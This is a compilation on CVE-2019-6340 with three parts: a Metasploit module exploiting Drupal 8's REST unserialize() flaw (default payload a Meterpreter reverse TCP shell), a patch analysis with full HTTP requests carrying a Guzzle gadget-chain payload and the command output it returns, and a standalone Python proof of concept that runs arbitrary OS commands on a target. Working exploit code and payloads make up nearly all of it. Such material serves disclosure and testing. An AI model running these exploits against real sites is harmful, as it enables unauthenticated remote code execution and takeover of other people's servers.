CVE-2019-6340

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  # NOTE: All (four) Web Services modules need to be enabled
  Rank = NormalRanking

  include Msf::Exploit::Remote::HTTP::Drupal

  def initialize(info = {})
    super(update_info(info,
      'Name'               => 'Drupal RESTful Web Services unserialize() RCE',
      'Description'        => %q{
        This module exploits a PHP unserialize() vulnerability in Drupal RESTful
        Web Services by sending a crafted request to the /node REST endpoint.

        As per SA-CORE-2019-003, the initial remediation was to disable POST,
        PATCH, and PUT, but Ambionics discovered that GET was also vulnerable
        (albeit cached). Cached nodes can be exploited only once.

        Drupal updated SA-CORE-2019-003 with PSA-2019-02-22 to notify users of
        this alternate vector.

        Drupal < 8.5.11 and < 8.6.10 are vulnerable.
      },
      'Author'             => [
        'Jasper Mattsson', # Discovery
        'Charles Fol',     # PoC
        'Rotem Reiss',     # Module
        'wvu'              # Module
      ],
      'References'         => [
        ['CVE', '2019-6340'],
        ['URL', 'https://www.drupal.org/sa-core-2019-003'],
        ['URL', 'https://www.drupal.org/psa-2019-02-22'],
        ['URL', 'https://www.ambionics.io/blog/drupal8-rce'],
        ['URL', 'https://github.com/ambionics/phpggc'],
        ['URL', 'https://twitter.com/jcran/status/1099206271901798400']
      ],
      'DisclosureDate'     => '2019-02-20',
      'License'            => MSF_LICENSE,
      'Platform'           => ['php', 'unix'],
      'Arch'               => [ARCH_PHP, ARCH_CMD],
      'Privileged'         => false,
      'Targets'            => [
        ['PHP In-Memory',
          'Platform'       => 'php',
          'Arch'           => ARCH_PHP,
          'Type'           => :php_memory,
          'Payload'        => {'BadChars' => "'"},
          'DefaultOptions' => {
            'PAYLOAD'      => 'php/meterpreter/reverse_tcp'
          }
        ],
        ['Unix In-Memory',
          'Platform'       => 'unix',
          'Arch'           => ARCH_CMD,
          'Type'           => :unix_memory,
          'DefaultOptions' => {
            'PAYLOAD'      => 'cmd/unix/generic',
            'CMD'          => 'id'
          }
        ]
      ],
      'DefaultTarget'      => 0,
      'Notes'              => {
        'Stability'        => [CRASH_SAFE],
        'SideEffects'      => [IOC_IN_LOGS],
        'Reliablity'       => [UNRELIABLE_SESSION], # When using the GET method
        'AKA'              => ['SA-CORE-2019-003']
      }
    ))

    register_options([
      OptEnum.new('METHOD', [true, 'HTTP method to use', 'POST',
                            ['GET', 'POST', 'PATCH', 'PUT']]),
      OptInt.new('NODE',    [false, 'Node ID to target with GET method', 1])
    ])

    register_advanced_options([
      OptBool.new('ForceExploit', [false, 'Override check result', false])
    ])
  end

  def check
    checkcode = CheckCode::Unknown

    version = drupal_version

    unless version
      vprint_error('Could not determine Drupal version')
      return checkcode
    end

    if version.to_s !~ /^8\b/
      vprint_error("Drupal #{version} is not supported")
      return CheckCode::Safe
    end

    vprint_status("Drupal #{version} targeted at #{full_uri}")
    checkcode = CheckCode::Detected

    changelog = drupal_changelog(version)

    unless changelog
      vprint_error('Could not determine Drupal patch level')
      return checkcode
    end

    case drupal_patch(changelog, 'SA-CORE-2019-003')
    when nil
      vprint_warning('CHANGELOG.txt no longer contains patch level')
    when true
      vprint_warning('Drupal appears patched in CHANGELOG.txt')
      checkcode = CheckCode::Safe
    when false
      vprint_good('Drupal appears unpatched in CHANGELOG.txt')
      checkcode = CheckCode::Appears
    end

    # Any further with GET and we risk caching the targeted node
    return checkcode if meth == 'GET'

    # NOTE: Exploiting the vuln will move us from "Safe" to Vulnerable
    token = Rex::Text.rand_text_alphanumeric(8..42)
    res   = execute_command("echo #{token}")

    return checkcode unless res

    if res.body.include?(token)
      vprint_good('Drupal is vulnerable to code execution')
      checkcode = CheckCode::Vulnerable
    end

    checkcode
  end

  def exploit
    if [CheckCode::Safe, CheckCode::Unknown].include?(check)
      if datastore['ForceExploit']
        print_warning('ForceExploit set! Exploiting anyway!')
      else
        fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
      end
    end

    if datastore['PAYLOAD'] == 'cmd/unix/generic'
      print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic')
      # XXX: Naughty datastore modification
      datastore['DUMP_OUTPUT'] = true
    end

    case target['Type']
    when :php_memory
      # XXX: This will spawn a *very* obvious process
      execute_command("php -r '#{payload.encoded}'")
    when :unix_memory
      execute_command(payload.encoded)
    end
  end

  def execute_command(cmd, opts = {})
    vprint_status("Executing with system(): #{cmd}")

    # https://en.wikipedia.org/wiki/Hypertext_Application_Language
    hal_json = JSON.pretty_generate(
      'link'      => [
        'value'   => 'link',
        'options' => phpggc_payload(cmd)
      ],
      '_links'    => {
        'type'    => {
          'href'  => vhost_uri
        }
      }
    )

    print_status("Sending #{meth} to #{node_uri} with link #{vhost_uri}")

    res = send_request_cgi({
      'method'   => meth,
      'uri'      => node_uri,
      'ctype'    => 'application/hal+json',
      'vars_get' => {'_format' => 'hal_json'},
      'data'     => hal_json
    }, 3.5)

    return unless res

    case res.code
    # 401 isn't actually a failure when using the POST method
    when 200, 401
      print_line(res.body) if datastore['DUMP_OUTPUT']
      if meth == 'GET'
        print_warning('If you did not get code execution, try a new node ID')
      end
    when 404
      print_error("#{node_uri} not found")
    when 405
      print_error("#{meth} method not allowed")
    when 422
      print_error('VHOST may need to be set')
    when 406
      print_error('Web Services may not be enabled')
    else
      print_error("Unexpected reply: #{res.inspect}")
    end

    res
  end

  # phpggc Guzzle/RCE1 system id
  def phpggc_payload(cmd)
    (
      # http://www.phpinternalsbook.com/classes_objects/serialization.html
      <<~EOF
        O:24:"GuzzleHttp\\Psr7\\FnStream":2:{
          s:33:"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods";a:1:{
            s:5:"close";a:2:{
              i:0;O:23:"GuzzleHttp\\HandlerStack":3:{
                s:32:"\u0000GuzzleHttp\\HandlerStack\u0000handler";
                  s:cmd_len:"cmd";
                s:30:"\u0000GuzzleHttp\\HandlerStack\u0000stack";
                  a:1:{i:0;a:1:{i:0;s:6:"system";}}
                s:31:"\u0000GuzzleHttp\\HandlerStack\u0000cached";
                  b:0;
              }
              i:1;s:7:"resolve";
            }
          }
          s:9:"_fn_close";a:2:{
            i:0;r:4;
            i:1;s:7:"resolve";
          }
        }
      EOF
    ).gsub(/\s+/, '').gsub('cmd_len', cmd.length.to_s).gsub('cmd', cmd)
  end

  def meth
    datastore['METHOD'] || 'POST'
  end

  def node
    datastore['NODE'] || 1
  end

  def node_uri
    if meth == 'GET'
      normalize_uri(target_uri.path, '/node', node)
    else
      normalize_uri(target_uri.path, '/node')
    end
  end

  def vhost_uri
    full_uri(
      normalize_uri(target_uri.path, '/rest/type/shortcut/default'),
      vhost_uri: true
    )
  end

end

Analyzing the patch
By diffing Drupal 8.6.9 and 8.6.10, we can see that in the REST module, FieldItemNormalizer now uses a new trait, SerializedColumnNormalizerTrait. This trait provides the checkForSerializedStrings() method, which in short raises an exception if a string is provided for a value that is stored as a serialized string. This indicates the exploitation vector fairly clearly: through a REST request, the attacker needs to send a serialized property. This property will later be unserialize()d, thing that can easily be exploited using tools such as PHPGGC. Another modified file gives indications as to which property can be used: LinkItem now uses unserialize($values['options'], ['allowed_classes' => FALSE]); instead of the standard unserialize($values['options']);.

As for all FieldItemBase subclasses, LinkItem references a property type. Shortcut uses this property type, for a property named link.

Triggering the unserialize()
Having all these elements in mind, triggering an unserialize is fairly easy:

GET /drupal-8.6.9/node/1?_format=hal_json HTTP/1.1
Host: 192.168.1.25
Content-Type: application/hal+json
Content-Length: 642

{
  "link": [
    {
      "value": "link",
      "options": "<SERIALIZED_CONTENT>"
    }
  ],
  "_links": {
    "type": {
      "href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default"
    }
  }
}
Since Drupal 8 uses Guzzle, we can generate a payload using PHPGGC:

$ ./phpggc guzzle/rce1 system id --json
"O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
We can now send the payload via GET:

GET /drupal-8.6.9/node/1?_format=hal_json HTTP/1.1
Host: 192.168.1.25
Content-Type: application/hal+json
Content-Length: 642

{
  "link": [
    {
      "value": "link",
      "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
    }
  ],
  "_links": {
    "type": {
      "href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default"
    }
  }
}
To which Drupal responds:

HTTP/1.1 200 OK
Link: <...>
X-Generator: Drupal 8 (https://www.drupal.org)
X-Drupal-Cache: MISS
Connection: close
Content-Type: application/hal+json
Content-Length: 9012

{...}uid=33(www-data) gid=33(www-data) groups=33(www-data)
Note: Drupal caches responses: if you're in a testing environment, clear the cache. If not, try another node ID.

#!/usr/bin/env python3

# CVE-2019-6340 Drupal <= 8.6.9 REST services RCE PoC
# 2019 @leonjza

# Technical details for this exploit is available at:
#   https://www.drupal.org/sa-core-2019-003
#   https://www.ambionics.io/blog/drupal8-rce
#   https://twitter.com/jcran/status/1099206271901798400

# Sample usage:
#
# $ python cve-2019-6340.py http://127.0.0.1/ "ps auxf"
# CVE-2019-6340 Drupal 8 REST Services Unauthenticated RCE PoC
#  by @leonjza
#
# References:
#  https://www.drupal.org/sa-core-2019-003
#  https://www.ambionics.io/blog/drupal8-rce
#
# [warning] Caching heavily affects reliability of this exploit.
# Nodes are used as they are discovered, but once they are done,
# you will have to wait for cache expiry.
#
# Targeting http://127.0.0.1/...
# [+] Finding a usable node id...
# [x] Node enum found a cached article at: 2, skipping
# [x] Node enum found a cached article at: 3, skipping
# [+] Using node_id 4
# [+] Target appears to be vulnerable!
#
# USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
# root        49  0.0  0.0   4288   716 pts/0    Ss+  16:38   0:00 sh
# root         1  0.0  1.4 390040 30540 ?        Ss   15:20   0:00 apache2 -DFOREGROUND
# www-data    24  0.1  2.8 395652 57912 ?        S    15:20   0:08 apache2 -DFOREGROUND
# www-data    27  0.1  2.9 396152 61108 ?        S    15:20   0:08 apache2 -DFOREGROUND
# www-data    31  0.0  3.4 406304 70408 ?        S    15:22   0:04 apache2 -DFOREGROUND
# www-data    39  0.0  2.7 398472 56852 ?        S    16:14   0:02 apache2 -DFOREGROUND
# www-data    44  0.2  3.2 402208 66080 ?        S    16:37   0:05 apache2 -DFOREGROUND
# www-data    56  0.0  2.6 397988 55060 ?        S    16:38   0:01 apache2 -DFOREGROUND
# www-data    65  0.0  2.3 394252 48460 ?        S    16:40   0:01 apache2 -DFOREGROUND
# www-data    78  0.0  2.5 400996 51320 ?        S    16:47   0:01 apache2 -DFOREGROUND
# www-data   117  0.0  0.0   4288   712 ?        S    17:20   0:00  \_ sh -c echo

import sys
from urllib.parse import urlparse, urljoin

import requests


def build_url(*args) -> str:
    """
        Builds a URL
    """

    f = ''
    for x in args:
        f = urljoin(f, x)

    return f


def uri_valid(x: str) -> bool:
    """
        https://stackoverflow.com/a/38020041
    """

    result = urlparse(x)
    return all([result.scheme, result.netloc, result.path])


def check_drupal_cache(r: requests.Response) -> bool:
    """
        Check if a response had the cache header.
    """

    if 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT':
        return True

    return False


def find_article(base: str, f: int = 1, l: int = 100):
    """
        Find a target article that does not 404 and is not cached
    """

    while f < l:
        u = build_url(base, '/node/', str(f))
        r = requests.get(u)

        if check_drupal_cache(r):
            print(f'[x] Node enum found a cached article at: {f}, skipping')
            f += 1
            continue

        # found an article?
        if r.status_code == 200:
            return f
        f += 1


def check(base: str, node_id: int) -> bool:
    """
        Check if the target is vulnerable.
    """

    payload = {
        "_links": {
            "type": {
                "href": f"{urljoin(base, '/rest/type/node/INVALID_VALUE')}"
            }
        },
        "type": {
            "target_id": "article"
        },
        "title": {
            "value": "My Article"
        },
        "body": {
            "value": ""
        }
    }

    u = build_url(base, '/node/', str(node_id))
    r = requests.get(f'{u}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"})

    if check_drupal_cache(r):
        print(f'Checking if node {node_id} is vuln returned cache HIT, ignoring')
        return False

    if 'INVALID_VALUE does not correspond to an entity on this site' in r.text:
        return True

    return False


def exploit(base: str, node_id: int, cmd: str):
    """
        Exploit using the Guzzle Gadgets
    """

    # pad a easy search replace output:
    cmd = 'echo ---- & ' + cmd
    payload = {
        "link": [
            {
                "value": "link",
                "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000"
                           "GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\""
                           "close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:"
                           "{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";"
                           "s:|size|:\"|command|\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000"
                           "stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000"
                           "GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\""
                           "resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
                           "".replace('|size|', str(len(cmd))).replace('|command|', cmd)
            }
        ],
        "_links": {
            "type": {
                "href": f"{urljoin(base, '/rest/type/shortcut/default')}"
            }
        }
    }

    u = build_url(base, '/node/', str(node_id))
    r = requests.get(f'{u}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"})

    if check_drupal_cache(r):
        print(f'Exploiting {node_id} returned cache HIT, may have failed')

    if '----' not in r.text:
        print('[warn] Command execution _may_ have failed')

    print(r.text.split('----')[1])


def main(base: str, cmd: str):
    """
        Execute an OS command!
    """

    print('[+] Finding a usable node id...')
    article = find_article(base)
    if not article:
        print('[!] Unable to find a node ID to reference. Check manually?')
        return

    print(f'[+] Using node_id {article}')

    vuln = check(base, article)
    if not vuln:
        print('[!] Target does not appear to be vulnerable.')
        print('[!] It may also simply be a caching issue, so maybe just try again later.')
        return
    print(f'[+] Target appears to be vulnerable!')

    exploit(base, article, cmd)


if __name__ == '__main__':

    print('CVE-2019-6340 Drupal 8 REST Services Unauthenticated RCE PoC')
    print(' by @leonjza\n')
    print('References:\n'
          ' https://www.drupal.org/sa-core-2019-003\n'
          ' https://www.ambionics.io/blog/drupal8-rce\n')
    print('[warning] Caching heavily affects reliability of this exploit.\n'
          'Nodes are used as they are discovered, but once they are done,\n'
          'you will have to wait for cache expiry.\n')

    if len(sys.argv) <= 2:
        print(f'Usage: {sys.argv[0]} <target base URL> <command>')
        print(f'    Example: {sys.argv[0]} http://127.0.0.1/ id')

    target = sys.argv[1]
    command = sys.argv[2]
    if not uri_valid(target):
        print(f'Target {target} is not a valid URL')
        sys.exit(1)

    print(f'Targeting {target}...')
    main(target, command)